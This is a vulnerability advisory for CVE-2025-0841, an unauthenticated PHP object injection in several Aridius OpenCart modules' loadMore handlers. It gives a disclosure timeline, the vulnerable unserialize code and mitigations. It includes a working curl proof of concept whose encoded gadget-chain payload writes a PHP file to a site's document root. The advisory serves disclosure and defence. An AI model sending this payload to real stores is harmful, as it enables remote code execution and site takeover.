Multiple OpenCart modules named aridius_XYZ have a PHP Object Injection
vulnerability as a result of Deserialization of Untrusted Data.
It is unclear which versions of Aridius extensions - if any - include the vulnerable code as the source code for the "official" versions is not open. It appears to be common for "unofficial" versions of the extensions to be used.
The vulnerability is exploitable remotely without authentication.
(POP/) Gadget Chains exist in OpenCart (3 and 4) which allow Object Injection vulnerabilities to be exploited, for example to write arbitrary files or achieve Remote Code Execution.
Such an attack could result in the compromise of a site.
- 2025-01-17: mcdruid attempts to contact Aridius maintainer
- 2025-01-21: Aridius maintainer confirms vulnerability was in an old version
- https://www.opencart.com/index.php?route=marketplace/extension/info&extension_id=46532
- Unclear if this is an official version of an Aridius extension, but the zip file (marked as updated 27 Sep 2024) contains the vulnerable modules.
- Various "Aridius" extensions are available from e.g. https://opencartforum.com/files/developer/26073-aridius/
- Several of these include a list of modules including "news" and "reviews", but apparently up-to-date versions do not contain the vulnerable code.
- Tested with OpenCart 3.0.4.0
- CWE-502: Deserialization of Untrusted Data
- CAPEC-586: Object Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L 9.9 Critical
- CVE: CVE-2025-0841
The vulnerability can be exploited after the basic set up instructions included in the zip file have been followed, which copies the relevant controller files into place.
A malicious payload can be passed in an unauthenticated POST request - for example:
curl -s 'http://opencart3.ddev.site/index.php?route=extension/module/aridius_news/loadMore' -d 'setting=YToyOntpOjc7Tzo5OiJEQlxNeVNRTGkiOjE6e3M6MTA6ImNvbm5lY3Rpb24iO086NzoiU2Vzc2lvbiI6Mzp7czo3OiJhZGFwdG9yIjtPOjI2OiJUd2lnXENhY2hlXEZpbGVzeXN0ZW1DYWNoZSI6MDp7fXM6MTA6InNlc3Npb25faWQiO3M6NjoicGkucGhwIjtzOjQ6ImRhdGEiO3M6MTY6Ijw/cGhwIHBocGluZm8oKTsiO319aTo3O2k6Nzt9'
The payload should result in a simple php script containing a call to phpinfo
being written out in the document root of the site:
$ curl -s 'http://opencart3.ddev.site/pi.php' | grep HTTP_HOST
<tr><td class="e">$_SERVER['HTTP_HOST']</td><td class="v">opencart3.ddev.site</td></tr>
A real attacker would no doubt inject something more malicious.
4 modules have the same "loadMore" functionality provided by a JavaScript function in the template, and a corresponding function in the controller.
For example:
<div id="load_moren" class="gridcount bestseller"><i class="gridcount_load fa fa-refresh fa-lg"></i><span class="gridcount2">{{ button_load }}</span></div>
</div>
<script>
var module_idn = 1;
var pr_alln = {{ product_total }};
var pr_lastn = {{ last_page }};
var pr_limitn = {{ limit }};
if (pr_limitn >= pr_alln ) {
$('#load_moren').hide();
}
$('#load_moren').click(function() {
module_idn++;
$.ajax({
url:'index.php?route=extension/module/aridius_news/loadMore',
type: 'post',
data: 'page=' + module_idn + '&module_id={{ module_id }}&setting={{ setting }}',
The value of the setting parameter is a base64 encoded serialized array:
$data['setting'] = base64_encode(serialize($setting));
The method that handles the request passes that parameter to unserialize():
class ControllerExtensionModuleAridiusNews extends Controller {
public function loadMore() {
if (isset($this->request->post['setting'])) {
$setting = unserialize(base64_decode($this->request->post['setting']));
}
Almost exactly the same code is in 4 different modules:
catalog/view/theme/deluxe/template/extension/module/aridius_special.twig:203: url:'index.php?route=extension/module/aridius_special/loadMore',
catalog/view/theme/deluxe/template/extension/module/aridius_news.twig:50: url:'index.php?route=extension/module/aridius_news/loadMore',
catalog/view/theme/deluxe/template/extension/module/aridius_pr_review.twig:68: url:'index.php?route=extension/module/aridius_pr_review/loadMore',
catalog/view/theme/deluxe/template/extension/module/aridius_products.twig:191: url:'index.php?route=extension/module/aridius_products/loadMore',
catalog/controller/extension/module/aridius_products.php:6: $setting = unserialize(base64_decode($this->request->post['setting']));
catalog/controller/extension/module/aridius_news.php:7: $setting = unserialize(base64_decode($this->request->post['setting']));
catalog/controller/extension/module/aridius_pr_review.php:7: $setting = unserialize(base64_decode($this->request->post['setting']));
catalog/controller/extension/module/aridius_special.php:7: $setting = unserialize(base64_decode($this->request->post['setting']));
As it's not clear which extensions may include the vulnerable code, a simple
way to check would be to search for the presence of the unserialize function.
The call to unserialize could be made safer by including the allowed_classes
option to disable Object Injection:
https://www.php.net/manual/en/function.unserialize.php
For example:
$setting = unserialize(base64_decode($this->request->post['setting']), ['allowed_classes' => FALSE]);
A better mitigation would be to replace the use of serialization with
json_encode and json_decode.